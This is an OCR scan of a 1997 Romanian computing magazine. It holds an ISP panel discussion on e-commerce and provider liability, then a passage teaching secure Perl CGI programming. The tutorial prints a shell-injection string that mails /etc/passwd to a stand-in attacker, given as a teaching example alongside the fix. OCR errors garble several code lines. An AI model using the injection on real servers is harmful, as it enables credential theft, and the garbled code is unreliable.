electronic pe Internet, ce prespective vad pentru acest gen de servicii și, în general, ce comentarii s-ar putea face în acest domeniu. Liviu Ionescu: Eu n-am sa mi refer la comerţul electronic, ci am să mă refer la alte probleme pe care le avem cu toţii. Ca furni- zori de servicii Internet, a rămas problema comerțului de servicii și a plăţii acestora. După părerea mea, a discuta acum despre comerțul electronic este ceva prematur, câtă vreme mecanismele de plată pe care le au la dispoziţie majoritatea, nu vorbesc despre cei puţini care-şi permit să plătească ser- viciile, ci e vorba de utilizatorii normali care de abia își permit să plătească câţiva dolari pentru abonamentul lunar, pentru care, dacă noi adoptăm o soluţie de plată în avans, cum facem să le recuperăm banii. În aceste condiţii, tare curios aș fi să aflu, în primul rând, dacă colegii au găsit soluții minune prin care să rezolve şi problema plăţii serviciilor şi apoi alte probleme de comerţ electronic. Noi am schimbat sistemul de evi- denta, de baze de date, existent în spatele firmei, ca să încurajăm plăţile în avans. 76 BYTE România IULIE 1997 Mihai Bătrâneanu: Liviu are dreptate. Dar Irina se referea la alte aspecte. Din februarie, noi am dat drumul la un maga- zin pe Web, şi printre CD-uri avem şi cărți. Sincer să fiu, mai mult de 20 de CD-uri nu vindem pe lună, deci, să zic aşa, n-ar fi un magazin rentabil. Însă, chiar dacă acest ma- gazin nu este rentabi, noi am considerat că este necesar să-l facem. Şi, mai devreme sau mai târziu, va ajunge gi la noi acest gen de serviciu. In general, vom încerca să dez- voltăm astfel de servicii locale, deci, să ofer- DI. prof. Trandafir Moisa im posibilitatea utilizatorlor de a beneficia de aceste servicii on-line. Moisa Trandafir: Problema asta ne pre- ocupă şi pe noi, pentru că este la americani şi trebuie să ne luăm și noi după ei. Deci, problema este următoarea: comerțul electronic are cel puţin două faze, faza de marketing și prezentarea produselor şi faza de tranzacţie. În ceea ce priveşte plăţile, este deocamdată greu de implementat, dar partea de marketing şi prezentare se poate face. Noi am utilizat o tehnică numită out- sourcing în America, am delegat această activitate firmei RomNet, care are şi www.romnet.ro în ferma noastră de ser- vere. Ei deja au clienţi şi lucrează în felul următor: practic, contractele se fac cu ofer- tanții şi am creat un serviciu de acces gratu- it numai la serverul www.romnet.ro. Cli- enţii pot să facă acces gratuit, să vadă produsele şi să le cumpere, dacă le place. După aceea, cumpărarea se face luând legă- tură directă cu ofertantul, şi banii se scot din afacere, practic din contractele care se fac cu ofertanţii. Vrem s-o dezvoltăm mai departe și dacă reuşim, va fi o aplicaţie interesantă de comerţ electronic, cu Asoci- ația Agenţiilor de Turism din România, cu care am semnat recent un contract $i care am vrea să fie prima aplicaţie realizată de noi de comerţ electronic în adevăratul sens al cuvântului, în România. Avem două tehnologii, tehnologia de la Microsoft şi o altă linie, în colaborare cu RomSys, utilizând linia de produse de la Sun Microsystems. Să vedem care e mai bună, pe aceea o alegem. Rotaru Alexandru: În cazul nostru, am dezvoltat un sistem cerere-ofertă en-gros, prin poşta electronică, am dezvoltat o redacţie comercială, organizată în jurul Web-ului, dar încă nu se poate pune pro- blema efectuării plăţilor prin Internet. În schimb, se pot pune probleme de eficienti- zarea reclamelor, adică se pot face statistici şi alte lucruri, legate de marcarea Web- urilor în reţea, pentru a putea fi într-ade- văr accesate produsele oferite de către o companie. Noi lucrăm cu aceste companii pentru a îmbunătăţi siturile, în vederea viitorului comerţ electronic. Moisa Trandafir: Există, la ora actu- ală, două mijloace de plată electronice folosite, CreditCard și CreditBank. După părerea mea, în România va trece foarte mult timp până se vor răspândi CreditCard- urile. Dar, în schimb, CreditCard-urile iau amploare tot mai mult în Europa. Una din- tre consorţiile, care lucrează la acest proiect, se bazează pe o firmă din Anglia, care dez- voltă așa zisele SmartCard-uri sau portofelul electronic. Deci, este ca o cartelă telefon- ică pe care o încarci cu o anumită sumă şi pe care o consumi până la limita epuizării sumei respective. Transferul se poate face între portofeluri electronice, pe linii telefonice, între bancă şi portofel, pentru a încărca suma respectivă. În literatura de specialitate se preconizează că, în anul 2010, Credit- Card-urile o să fie practic absorbite de SmartCard-uri. Pe acestea se pot pune parole, data naşterii şi așa mai departe, inclusiv încărcarea unei sume de bani. Cred eu că, pentru România, această variantă ar fi mai bună. Rămâne de văzut cât costă aparatele, SmartCard-urile. Şi atunci nu se mai pune problema autentificării. Se con- sumă numai în limita sumei înscrise pe SmartCard. Dragos Titescu: Există deja Visa în România şi chiar funcționează. Noi avem deja în rețea două bănci, care s-au răspân-. dit destul de mult în teritoriu. Nu mai este tocmai Internet, ci este rețeaua, cu niște sisteme de protecţie și securitate ceva mai spectaculoase. Este vorba de bancă, bani și să ştiţi că durează luni, dacă nu ani, până să sepună la punct o astfel de reţea. Este foarte greu, plus mentalitatea omului de pe stradă, spunea Liviu că cine plăteşte mai mult. Câţi de la noi se duc să-şi ia un Credit- Card? Pentru că există si pentru o sumă mică se poate obţine. Din public: Aș dori să fac o precizare. Eu reprezint EuroCard. S-a folosit aici o termi- nologie care poate să inducă în eroare. Pe piața actuală a tranzacţiilor bancare există Internet în România Dosar CreditCard şi DebitCard. Acestea două sunt, practic, acelaşi lucru, arată la fel, tehnologia este aceeaşi, numai că Credit- Card înseamnă că banca îţi dă credit, iar DebitCard înseamnă că banca îţi trage din contul curent.Ceea ce spuneţi cu Smart- - Card-ul, nu este decât o nouă tehnologie. Dragoş Tiţescu: Noi avem pe rețeaua noastră destul de multe puncte instituite, le găsiţi în noul Palatal Telefoanelor, în centru pe lângă Mihai Viteazul, sunt puzderii. Dar durează foarte mult până să se răspân- dească aceste carduri. La implementare nu impune nimeni nimic băncii. Visa nu impune nimic. Banca se duce la Visa şi-i cere apro- bare. Iosif Fettich: Aș dori să aflu, de la colegii mei, în ce măsură reclama pe Internet este percepută ca utilă de către consumatori. Este o problemă cu care fiecare se confrun- tă şi primele dintre problemele cu care ne confruntăm noi cel mai des este că mulți clienți spun că încă nu e necesară reclama pe Internet, după primele încercări de acest gen. Mi-ar place să aud o poveste de succes, de la cineva care face reclama pe Internet pentru o firmă și care să spună că, şi dacă costă de cinci ori mai mult, merită să-mi fac reclamă, pentru mine este un câştig. Irina Athanasiu: Următorul subiect pe care vreau să-l lansez se referă la o problemă delicată, şi anume în ce măsură furnizorii de Internet sunt dispuşi sau, cum vedeţi răspun- derea providerilor de Internet fata de cilenti. Si, in acelasi timp, cum vedeti raspunderea clienţilor față de provderii de Internet si asta relativ la probleme de securitate, nu mă gân- deam la securitate, văzută ca hacker, ci în ce măsură, dacă un client este atacat, este răspunzător, service providerul, şi invers, în ce măsură dacă un client afişează pe Inter- net o informaţie care n-ar trebui să apară, sau utilizează Internetul într-un mod în care n-ar trebui să fie utilizat, ce fel de răspun- dere putem să cerem sau în ce mod putem să rezolvăm răspunderea clientului faţă de service provider. Dragoș Tiţescu: Ceea ce spun eu s-ar putea să placă, s-ar putea să nu placă. Este povestea magazinului de peste drum de mine care vinde aparate de bucătărie. Vecinul de la patru şi-a luat nevestei un cuțit de bucătărie, face salată foarte bună, iar vecinul de la doi i-a înjungiat amanta cu un astfel de cuţit. Îl facem răspunzător pe patronul magazinului ? Eu ofer acces și nu ştiu dacă am voie să intervin. Pe de altă parte, când el este atacat, atunci pot să încerc să-l apăr, să pun niște filtre eventual, dar dacă el face ceva, nu ştiu dacă am eu dreptul să intervin. Acesta e un punct de vedere . Ştefan Bornuz (Vest Conex SA Cluj): Reprezint o firmă de integrator de sisteme de montaj computerizat, şi suntem mari con- sumatori de servicii internet comercial. Ne place să credem că am fost primii clienți de Internet din Cluj. Noi, în activităţile noastre, avem atât de mare nevoie de servicii Inter- net încât acuma, de Paşti, a venit cineva să ne spună să devenim furnizori de servicii Internet. Asta însă fără a fi furnizori de conectivitate Internet. Şi sper că furnizorii de conectivitate Internet vor accepta ideea că un furnizor de servicii Internet este şi cel care oferă hosting. Ne-a deranjat ca și clienţi lipsa de dinamism a vieţii firmelor românești pe Internet i, in aceasta idee, am iniţiat o acţi- une comercială. Din păcate, n-am avut timp suficient s-o pregătim şi s-o lansăm cu ocazia CERF-ului. Este vorba de un concurs, cine vizitează pagina noastră de Internet, în perioada 1-15 iunie poate să câştige un cal- culator Pentium, tocmai în ideea de a crea un serviciu de hosting, care să dinamizeze puţin, şi să comercializeze mai mult decât este la nivelul acesta Internetul românesc. Având în vedere conectivitatea, am încercat tot ce se poate. Suntem foarte mulţumiţi de serviciile de acces pe care ni le-a oferit Eunet-ul, însă, schimbarea politicii de tarifare Rom Telecom ne-a făcut să renunțăm deocamdată, la ser- viciile Eunet. Acum suntem mulţumiţi de providerul de conectivitate Vsat şi încercăm, în permanență, alte soluţii. În peregrinările noastre pe la diferiţi furnizori de conectivi- tate, am avut tot felul de surprize de cum ară- ta contractul respectiv. Un provider, prin contract, era îndrituit să taie legătura în cazul în care noi ne abatem de la probleme de moralitate, probleme de conduită samd, dar ne punem problema în ce măsură dânsul se transformă în instanță de judecată. A ne pre- veni că nu este frumos să facem un anumit lucru sau altul pe Internet, de a-şi deroga responsabilitatea asupra acţiunilor noastre ni se pare normal, dar, a se transforma in instanță de judecată , deci daca noi contra- venim bunelor maniere ei ne taie conectivi- tatea, cine decide? Dânşii ? Păi, în cazul de față, eu pot să îmi elimin toţi partenerii de pe piaţă, mă duc la primul mail primit de la o firmă care nu-mi place, şi spun, dl-e vă rog să-i tăiați conectivitatea, pentru că mi-a trim- isun mail „servus Ştefan“ și sunt profund jig- nit. Dânsul se transformă în instanță de jude- cată să zică da, servus Ştefan este o jignire. Sau dânsul este cel care apreciază că o „înjură- tură Ştefane“ este o ofensă sau nu. Deci, problema pe care vroiam să o ridic este care ar fi formula contractuală și care ar fi răspun- derea furnizorilor de conectivitate vizavi de un furnizor de servicii Internet, care este delimitarea răspunderilor și cât trebuie să ia asupra lui cel care oferă conectivitate. Irina Athanasiu: Aţi spus, la început, că firma dvs a avut mare nevoie de servicii Internet. Puteţi să ne explicati putin de ce, ce înseamnă acest lucru ? Ştefan-Mircea BORNUZ: Noi suntem furnizori de servicii de control acces şi pon- taj computerizat. Ne trebuie oferte de cartele, de sisteme de utilizare a cartelelor, ne trebuiau standarde de existenţă a car- telelor, de formate de cartele şamd., echipa- mente specifice. În România, este foarte Uşor să găseşti o tastatură, un motherboard, dar un ceas de pontaj inteligent, un element de citire pt.cartelele cu bandă magnetică, cu cip este mai greu. Ei, pentru noi Internetul a însemnat mult. Am primit ulterior (M.Sabău), un mail de la dl. Ștefan Bornuz, pe care-l înserez aici: Intervenţia mea a fost vis-a-vis de pro- blema responsabilității ISP, în asigurarea unei utilizări 'normale! a serviciilor de rețea către toţi clienţii. Am dorit să subliniez că aceasta este o problemă deosebit de delicată, pe care nu o putem trata doar după bunul nostru simț de ISP-işti şi dădeam exemplul unui furnizor de conectivitate care, în con- tract, specifica că îşi rezervă dreptul de a sista imediat legătura celor care prin natura mesajelor transmise sau a informaţiei pub- licate 'cauzează supărare (iritare), neplăcere, anxietate (neliniște) inutilă. Trecând cu ved- erea problemele de formă, această formu- DI. Rotaru Alexandru lare mi se pare deosebit de riscantă (şi, poate, chiar abuzivă) ca fond: ISP-istul în discuţie își atribuie capacitatea de a aprecia dacă un mesaj sau o informaţie cauzează supărare... și preia responsabilitatea de a aprecia dacă un mesaj sau o informaţie 'cauzează supărare... Doream să concluzionez, că, dacă, în general, pentru o societate comer- cială este bine să aibă în permanenţă asis- tență juridica, pentru un ISP-ist este o condiţie obligatorie. Moisa Trandafir: În această problemă, aresponsabilității clienților faţă de provider, sau a providerilor față de clienţi, eu cred că una dintre abordările posibile trebuie să plece de la faptul că nimeni nu este perfect, nici JULIE 1997 BYTE România 77 Dosar Internet în România providerul, nici clientul. Dar, asta nu este decâto teorie. Eu, practic, am încercat acuma o exprimare, s-ar putea ca ea să fie doar aproximativă. Cred că între 20-25% din resursele materiale şi umane, noi le folosim DI. Ștefan-Mircea Bornuz şi pentru a asigura securitatea. Un lucru important este să educăm tinerii, să aibă gri- jă de propria lor informaţie. Pentru că în ge- neral, conturile atacate au fost cele care au fost neglijate, în sensul că nu s-au mai schim- bat parolele, au fost date parolele altora, sau s-au făcut accese din diferite reţele şi parolele au fost interceptate. Cei care au fost grijulii cu propriul cont au fost, în general, feriti de astfel de atacuri. În privinţa contractelor, în România există teoria că valoarea unui con- . tract este mai mică decât cea înscrisă în con- tract. Închipuiţi-vă un proces între un pro- vider şi un client, care plăteşte un abonament de 50$ pe lund, si un proces care îşi aşteaptă rândul după altele în care se dispută milioane, poate zeci de milioane de dolari. Rotaru Alexandru: Vreau să vă dau două exemple, care mi le amintesc şi n-am avut timp săvorbesc în public despre ele, sunt din istoria acestor acțiuni şi anume situaţii pe care le-a avut grupul de Unix. Cineva a emis niște mesaje care conțineau cuvântul turc. Şi un cetățean din Turcia a trimis isto- ria turcilor. Acea istorie a turcilor a trimis-o repetitiv, timp de o săptămână și, mă rog, s-a umplut discul, s-a enervat, și soluţia a fost aceea de a decupla pe respectivul emitent al mesajelor. Al doilea lucru este un accident, care s-a întâmplat în 1994, cred, sau 1995, în care un utilizator, din orașul Sibiu, ar fi trebuit să recepționeze un mesaj de lungime 1.5K. Din cauza unei erori, mesajul a început să vină permanent cu o repetiţie de 6-8 mesaje pe minut. Acest lucru s-a întâmplat toată noaptea. Cazul a fost rezolvat, prin punerea unui filtru care să respingă mesajele, returnându-le şi astfel a căzut mașina care emitea mesajele. În momentul acela, s-a cre- at o problemă internaţională: cine plăteşte acest trafic care a durat vreo 10 ore ? Din 78 BYTE România -ULIE 1997 fericire, nu am intrat într-un proces, ci fir- ma a cărui program a produs eroarea, a plătit acel trafic. Revenind la problemă, ceea ce putem face cu utilizatorii şi cu clienţii reţelei este să implementăm, prin contract, niște probleme standard şi unele care nu sunt prinse acolo, cel puţin să le discutăm. Mihai Bătrâneanu: Problema este una conceptuală. În România serviciile nu sunt apreciate. Ele sunt considerate, mi-e greu şi să spun cum sunt considerate. În România, oamenii preferă să cumpere un mouse, un calculator, un obiect la care să se uite. Este foarte greu să-i convingi să plătească un ser- viciu. Deci, asta-i principala problemă con- ceptuală. Discutăm despre responsabilitate, când noi alergăm după clienţi să ni se plă- tească, să respecte un contract. Să-l dau în judecată ? Responsabilitatea pleacă de la educaţia atât a clientului cât şi a furnizoru- lui de servicii. Dacă se semnează un contract, în principiu acesta trebuie respectat. Irina Athanasiu: Aș vrea să continuăm discuția. Am văzut pe câțiva provideri care nu au spus încă nimica, poate că nu am găsit întrebările pe care să vi le punem, de exem- plu, este cineva de la ICI, în ultima vreme s-au întâmplat lucruri noi la ICI, am niște colegi universitari la Timişoara care sunt într-o mare suferință datorită schimbărilor de la ICI, poate că n-am reușit să-i captăm cu întrebările pe care le-am pus, dar poate că am putea afla lucruri noi de la aceştia. Rodica Ciocea (ICI București): Vroiam să spun despre o încercare, nu este un ser- viciu pus la punct, o încercare de a face un serviciu de acces la un director X500 prin intermediul unui server www. Am făcut un sistem experimental, cu un prim set de date să spunem, nu suficient de mare ca să fie concludent, dar, în condiţiile actuale, spunem că funcționează. Este un mod dea solicita înscrieri de date în acest serviciu . Serban Stănășilă (DigiCom): DigiCom preferă să fie un furnizor pentru furnizori. Radu Bogdan (Electronum SA): Electro- num SA este un punct de institutie standard. Iosif Fettich: Am văzut că toată lumea s-a ferit un pic să ia atitudine în problema răspunderii. Se pare că nu avem altă soluţie decât să expediem răspunsuri. Sunt situații delicate, în care service providerul este efec- tiv pus în postura de a judeca și de a acționa sau nu. Este altfel în situaţiile în care există un precedent. Şi unul din exemple ar putea fi situaţia în care apare o plângere că cine- va, pe Internet, face rele. Mergând pe firul problemelor, se ajunge la un service provi- der care are un client. Nu se știe dacă acela este cel care face rele sau nu. Ca service provider sunt îndreptăţit să o fac său nu, sunt obligat să o fac sau nu, să supraveghez ce face acest client. Dacă restul lumii strigă tare că ăla face rele, pot să mă pun în pos- tura să zic dl-e, e un client care plăteşte reg- ulat, în avans, nu ştiu ce face, pentru că lucrează într-un shell securizat. Dacă vreau să văd ce face, trebuie să fac lucruri pe care, poate prin contract, mă angajez să nu le fac.Ce fac? Îmi păstrez un client bun, sau iau decizia să-l decuplez. Dacă vine cineva şi plăteşte să-i găzduiesc un sit porno, eu decid că e porno sau nu, mă uit pe el şi zic că e porno sau zic ce frumose! Şi sunt multe situ- atii in care, efectiv, service providerul este pus in situatia sa judece . Nu pot sa ma ascund şi să spun că singura mea datorie este să asigur cilenţilor mei servicii 24 din 24 de ore. Dacă cineva se plânge că ceva nu merge, noaptea mă sună pagerul şi mă duc să rezolv problema. E un pic mai mult decât atât. Din public: După mine, problema este mai simplă. Cât pierd deconectând acel uti- lizator care plăteşte regulat dar care generează probleme, în comparaţie cu cât pierd dacă cineva se simte ofensat de ceea ce face acel utilizator. Responsabilitatea este în lanţ. Dacă eu sunt conectat la cineva în DI. losif Fettich afară și eu sunt dat în judecată, înseamnă că, şi respectivul care îmi asigură conectivitatea, se află în același lanţ de responsabilităţi. În momentul în care eu sunt supus unor pre- siuni din afară, fac o analiză şi văd dacă meri- tă să continui relaţia cu acel client sau nu, sau îl deconectez, fiindcă este o potenţială sursă de pierdere pentru mine. Irina Athanasiu: Am tot amânat mo- mentul în care să revenim la problemele noastre practice. V-a întreba ce noutăți mai există, apropos de legăturile de servicii, dacă mai avem noutăţi la legăturile între providerii de Internet. Liviu Ionescu: Nu are rost să discutăm acuma despre ce legături are fiecare cu fiecare. Urmează, după câte știu, întâlnirea ISP-istilor. [Convorbirea a fost consemnată de pe caseta video înregistrată la CERF, de Mircea Sabău: msabau@agora.ro] Programare CGI sigură în Perl imbajul Perl este un limbaj in- terpretat - compilat în timpul încărcării. Iniţial a fost scris de către Larry Wall pentru a ușura iE nişte sarcini administrative, fiindcă nu a - vrut să folosească alte programe care aveau limitări însemnate. Limbajul se poate învăţa foarte uşor deoarece conţine elemente bine cunos- cute din alte limbaje. Se pot scrie programe eficiente cu- noscând doar o mică parte a limbajului, iar programele pot fi testate imediat datorită execuţiei foarte rapide a acestora. La baza programării stau unelte ca C, sed, awk şi sh, deci cunoașterea acestora ajută mult la învățarea limbajului Perl. În Perl, munca programatorului este limitată doar de capacitățile hardware ale calculatorului. Un întreg fişier poate fi citit într-o singură variabilă de tip string (dacă avem suficientă memorie). Putem apela funcţii recursive de orice adâncime (dacă avem răbdare şi memorie). Totodată, Perl are un mecanism foarte eficient de căutare și înlocuire într-un text după un model dat (iniţial era conceput pentru prelucrarea fişierelor de tip text, aşa cum arată şi numele lui Practical Extraction and Report Language). De la versiunea $ putem folosi deja pro- gramarea modulară şi programarea orien- tată object. În Perl programele setuid sunt mult mai sigure decât în C datorită unui mecanism care urmăreşte evoluţia datelor, acesta putând fi activat cu ajutorul para- metrului -T în linia de comandă. Astfel, apeluri de sistem care necesită o securitate mare nu vor fi executate, dacă se bazează pe informaţii primite de a utilizator. Cu ajutorul acestui limbaj se pot scrie foarte uşor programe CGI (Common Gate Interface), ale căror rezultate de obicei apar într-o pagina WWW, singurul lucru la care trebuie să avem mare atenţie este securi- tatea sistemului nostru, adică serverul pe care vor rula aceste programe. Mediul. Ca şi în alte programe, şi în Perl mediul în care rulează un program CGI poate fi con- trolat într-o mare măsură. Iniţial acest me- diu este setat de către serverul Web, care poate fi același cu mediul serverului sau mo- dificat doar pentru programe CGI (aceas- ta depinde de serverul pe care-l folosim). Mediul în care rulează un program CGI, poate să schimbe comportamentul pro- gramului şi rezultatele lui. De exemplu, variabila de mediu PATH este folosită de un program CGI pentru a căuta alte aplicaţii care sunt lansate din cadrul programului CGI. Dacă variabila PATH era setată la /bin:/usr/bin:/usr/local /bin, şi a fost lansat programul /s, atunci pro- gramul va fi căutat în aceste trei directoare. Se aşteptă ca programul s să fie găsit (/bin/Is pe cele mai multe sisteme de operare UNIX). Dacă variabila PATH ar fi fost setată la /tmp:/bin:/usr/bin (de către server sau de programator), iar Larry Stan putea să lucreze la un proiect oarecare pe acelaşi sis- tem, creând un script temporar numit /tmp/ls (după inițialele lui), când progra- mul CGI caută şi lansează comanda Is în loc de /bin/Is va rula /tmp/ls care va avea desi- gur alte rezultate decât cele la care ne-am fi aşteptat. „Pentru obținerea unui rezultat există mai multe căi“ Controlul mediului în Perl Ca să schimbăm o variabilă de mediu in Perl, trebuie să manipulăm un tablou aso- ciativ: %ENV. Variabilele de mediu deja existente în UNIX și pe care am dori să le schimbăm sunt PATH, IPS şi SHELL. După cum am menţionat în rândurile precedente, majoritatea serverelor vor seta o serie de variabile de mediu ca programul CGI să le folosească. Acestea includ (la fiecare server poate fi diferit): AUTH_TYPE, CONTENT_LENGHT, DOCUMENT. ROOT, HTIP_CON- NECTION, HTIP_HOST, HTTP_USER_AGENT, PATH, QUERY STRING, REMOTE_ADDR, REMOTE HOST, REMOTE_USER, REQUEST_METHOD, SERVER_ADMIN, SERVER_NAME, SERVER ROOT si SERVER_PROTO- GOL: Ca să aflăm valoarea unei variabile, HTTP_USER_AGENT, de exemplu, pro- gramul trebuie doar să facă o referire cu cheia respectivă in tabloul asociativ. De exemplu: felix) cat /var/httpd/cgi - bin/get-browser.bad JE! /bin/perl $browser = $ENV{ ‘HTTP_USER_AGENT '}; Acum, variabila $browser este gata pentru prelucrare. Este bine de reţinut ca tipul browserului este setat însăşi de brow- ser, şi de aceea nu este înțelept să-l folosim orbeşte într-un script. Este înțelept ca înainte să-l salvăm într-un fişier „log“ sau să-l dăm ca parametru într-un apel de sis- IULIE 1997 BYTE Romania 79 Web Master Programarea CGI tem, să ne uităm dacă nu conţine caractere nedorite sau neaşteptate. De exemplu: felix> cat /var/httpd/cgi- bin/get-browser.good #!/bin/per] $browser = SENV{ 'HTTP_USER_AGENT'}; die if ($browser =~ LAMA ANS Ne UNGHD LARVA VEIN FAS] die if (strlen($browser)>200); În cazul în care nu doriţi ca execuţia pro- gramului să se termine imediat dacă una dintre cele două condiţii a fost adevărată, va trebui să luaţi măsuri de precauţie înainte să manipulaţi sau să folosiţi variabila $browser. Prima linie determină dacă unul dintre caracterele speciale de shell se află în definiţie. Unele browsere legale folosesc. aceste caractere, dar noi vrem să filtrăm, să se termine imediat, dacă unul dintre vari- abila $browser într-un apel de sistem în siguranță. A doua linie detecteaza dacă definiția browserului nu este suspicios de lungă. Două sute de caractere fiind mai mult decât necesare pentru definirea unui browser, tot ceea ce este mai lung decât aceasta poate indica o exploatarea unui punct slab într-un server (dacă există). Variabila de mediu PATH O recapitulare foarte rapidă: Variabila de mediu PATH determină unde să caute pro- gramele locul aplicaţiilor pe care trebuie să le execute. Controlul acestei variabile este exact același cu cel descris înainte, deoarece este doar o altă variabilă de mediu in Perl: felix> cat /var/httpd/cgi- bin/path-set.basic #!/bin/perl SENV{'PATH'} = '/bin:/usr/bin:/usr/ete”:; Folosiţi cu precauţie! Dacă programul setează variabila PATH bazată pe date introduse de utilizator, închipuiţi-vă ce s- ar putea întămpla: felix> cat /var/httpd/cgi- bin/path-set #!/bin/per15 use CGI; SENV{'PATH'} = $query- >param('path-input'); system('1s','/opt/httpd/pro 80 BYTE România. IULIE 1997 files/internal'); Pentru acest program am folosit un mo- dul de programare CGI.pm foarte util pen- tru scrierea programelor CGI. Linia a 2-a specifică interpretorului Perl să încarce acest modul. Linia a 3-a setează variabila de mediu PATH la valoarea variabilei numită path-input. Acestă variabilă path-input este numită în formularul aflat în fişierul HTML din care este apelat programul nostru path- set. Linia a 4-a lansează programul Is. Dacă în formularul HTML utilizatorul introduce /bin:/usr/bin:/usr/etc progra- mul va functiona dupa cum ne-am asteptat (/bin/Is este executat si rezultatul este tri- mis browserului). Dacă un utilizator intro- duce /tmp:/bin:/usr/bin, atunci comporta- mentul programului poate fi schimbat din nou de către Larry Stan şi programul lui /tmp/ls. Închipuiţi-vă dacă programul doar şterge fişierele primite ca parametru! La proiectarea programului am greşit fiindcă am avut încredere în datele intro- duse de utilizator. Programul trebuie să aibă variabila PATH fixată şi este bine să nu schimbăm variabilele de mediu folosind date primite de a utilizator. Apeluri de sistem în Perl În Perl putem avea apelurile de sistem în diferite forme, ori apelând functia „sys- tem“, sau folosim semnele '' între care pu- nem numele programului pe care dorim să-l executăm sau executăm un apel open. #!/bin/perl SENV{'PATH'} = '/bin:/usr/bin:/usr/etc:/usr/] ocal/bin'; $browser = $ENV{'HTTP_USER_AGENT"}; system("record_type $browser"); sau #!/bin/perl SENV{'PATH'} = '/bin:/usr/bin:/usr/etc:/usr/] ocal/bin'; $browser = SENV{'HTTP_USER_AGENT'}; ‘record_type $browser'; sau #!/bin/per| $ENV{'PATH'} = '/bin:/usr/bin:/usr/etc:/usr/] ocal/bin'; $browser = SENV{ "HTTP_USER_AGENT '}; open(P_RECORD, "record_type $browser|") || die; Daca browserul nu ar fi fost un browser adevărat, doar un program care încearcă să atace serverul nostru de Web, putea să definească variabila HTTP_USER_A- GENT ca netscape;cat /etc/passwd | mail badguy. Apelurile de sistem prezentate anterior vor lansa o comandă shell date fiind ca parametru programele. În exem- plul nostru, comanda finală care a fost exe- cutată sub UNIX a fost /bin/sh-c record_type netscape; cat /etc/passwd | mail badguy Ops! Deoarece ; este un separator de comenzi în Bourne shell, lansăm mai multe comenzi decât am vrut iniţial. Partea înspăi- mântătoare în această situaţie este că am primit tipul browserului (care pare să fie în ordine), dar în același timp, fără să ştim, am trimis fişierul cu parole unui posibil hacker. O metodă mai sigură în Perl este #!/bin/perl $ENV{'PATH'} = '/bin:/usr/bin:/usr/etc:/usr/] ocal/bin'; $browser = SENV{ 'HTTP_USER_AGENT'}; system("record_type", "$brows ep) În acest caz, apelul de sistem din Perl va face o combinaţie de fork/exec, şi în acest fel ; nu mai este un separator de comenzi. Programul ar memora ca tip the browser netscape; cat /etc/passwd | mail badguy (care ar fi un semn de alarmă dacă îl obser- văm în fişierul „log“), dar niciodată nu ar trimite fişierul cu parole la persoane dubi- oase. chroot si chdir in Perl In C aveam două apeluri de sistem, chroot sichdir. $iin Perl putem gasi aceste apeluri, iar scopul lor este de a restrânge „imaginea“ sistemului de fişiere pe care poate să-l vadă un program aflat în execuţie. felix> cat /var/httpd/cgi- bin/count-password.bad #!/bin/pert Programarea CGI | Web Master open(F_PASSWD,'/etc/passwd') | | nou fişierul cu parole. $ENV{ "HTTP_USER_AGENT" } =~ die; Interpretorul lansat diferit, inainte sa /*(\wt)$/; while (